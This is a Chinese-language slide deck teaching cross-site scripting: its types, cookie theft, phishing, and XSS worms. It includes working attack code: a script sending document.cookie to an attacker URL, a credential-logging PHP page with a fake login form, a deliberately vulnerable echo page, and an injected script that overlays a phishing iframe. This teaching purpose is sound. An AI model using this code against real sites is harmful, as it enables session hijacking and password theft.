Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

For the best experience please use the latest Chrome, Safari or Firefox browser.

xss跨站脚本研究与探索

by Cc

什么是XSS跨站脚本?

XSS(Cross-Site Script)是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。 攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码, 对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段


*浏览器同源策略:所谓同源是指,域名,协议,端口相同。不同源的客户端脚(javascript、ActionScript)本在没明确授权的情况下,不能读写对方的资源。

XSS分类

1.反射型

2.存储型

3.DOM型

反射型

反射型跨站脚本也称作非持久型、参数型跨站脚本、这类型的脚本是最常见的 ,也是使用最为广泛的一种, 主要用于将恶意的脚本附加到URL地址的参数中

存储型

存储型xss比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。 此类XSS不需要用户点击特定的URL就能执行跨站脚本,攻击者事先讲恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。

DOM型

DOM型xss 是从javascript中输出数据到html页面里

微信存储型XSS漏洞案例

XSS常用攻击方式

1.cookie/session窃取

2.xss钓鱼

3.DOS和DDOS

4.蠕虫

cookie窃取

通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。

<script>location.href ='http://www.cc.com/Stealer.php?cookie='+document.cookie;</script>

当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.cc.com,打开其中的Stealer.php,将受害者浏览器的Cookie信息给记录下来。

这样,攻击者就得到了用户的Cookie信息。得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。

攻击者可以任意地利用受害者的身份访问服务器上的资源和服务,甚至对受害者和服务器上的数据进行破坏。如果受害者拥有管理员权限,攻击者还可以利用其提升自己账号的权限,从而进行进一步的攻击。

XSS钓鱼

1.正常的页面如下:


            <form> method="post" action="http://www.baidu.com/">
                <input> class="form-control" type="text" name="username" value="Tason"/>
                <input> class="form-control" type="password" name="password" value="P@ss" />
                <input> class="form-control" type="submit" name="logon"  value="Submit" />
            </form>
        
        

2.伪造的页面如下:get.php为hacker端接收受害者信息的页面


            <form> method="post" action="http://localhost/phishing/get.php">
                <input> class="form-control" type="text" name="username" value="Tason"/>
                <input> class="form-control" type="password" name="password" value="P@ss" />
                <input> class="form-control" type="submit" name="logon"  value="Submit" />
            </form>
        
        

3.记录信息的脚本文件 get.php 内容如下:


            <?php>
                $data=fopen("logfile.txt","a+");
                $login=$_POST['username'];
                $pass=$_POST['password'];
                fwrite($data,"Username:$login\n");
                fwrite($data,"Password:$pass\n");
                fclose($data);
                Header("location:http://www.baidu.com");
            ?>
        
        

4.存在漏洞的网站bug.php代码内容如下:


            <?php>
                $s1=@$_GET['s'];
                echo "<br>";
                echo $s1;
            ?>
        
        

5.XSS钓鱼:


            http://localhost/phishing/bug.php?s=<script src=http://localhost/phishing/xss.js></script>
        

xss.js代码如下


            document.body.innerHTML=(
            '<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">'+
            '<iframe src=http://localhost/phishing/evil.php width=100% height=100%>'+
            '</iframe></div>'
            );
        
        

DOS&DDOS

XSS蠕虫

随着web2.0、ajax、和社交网络的兴起,XSS衍生出类似蠕虫般具有自我复制和传播能力的攻击形态


*web1.0:网络-人(单向信息,只读,eg 个人网站,各大门户);

*web2.0:人-人(以网络为沟通渠道进行人与人沟通,eg facebook、twitter、微博);

XSS蠕虫攻击原理剖析

XSS蠕虫之所以能在短时间内快速传播,是因为受害者的浏览器平台相近,其中IE、Firefox占九成,同时社交网络用户的好友群重叠率低,而SNS社交网站具备庞大的用户数量,所以容易成为XSS Worm攻击的主要目标。

XSS蠕虫通常使用了大量的Ajax技术。Ajax的作用就在于:无须刷新即可异步传输数据,经过服务器处理后,得到返回信息,再提示给用户。如此一来,使跨站蠕虫具有较强的传播性和隐蔽性,而且蔓延速度相当惊人,呈几何级发展。

一个完整的XSS Worm的攻击流程如下。

① 攻击者发现目标网站存在XSS漏洞,并且可以编写XSS蠕虫。

② 利用一个宿主(如博客空间)作为传播源头进行XSS攻击。

③ 当其他用户访问被感染的空间时,XSS蠕虫执行以下操作。

判断用户是否登录,如果已登录就执行下一步;如果没登录则执行其他操作。 继续判断该用户是否被感染,如果没有就将其感染;如果已感染则跳过。

XSS蠕虫实际案例

新浪微博蠕虫病毒分析

samy蠕虫

XSS检测工具

Use a spacebar or arrow keys to navigate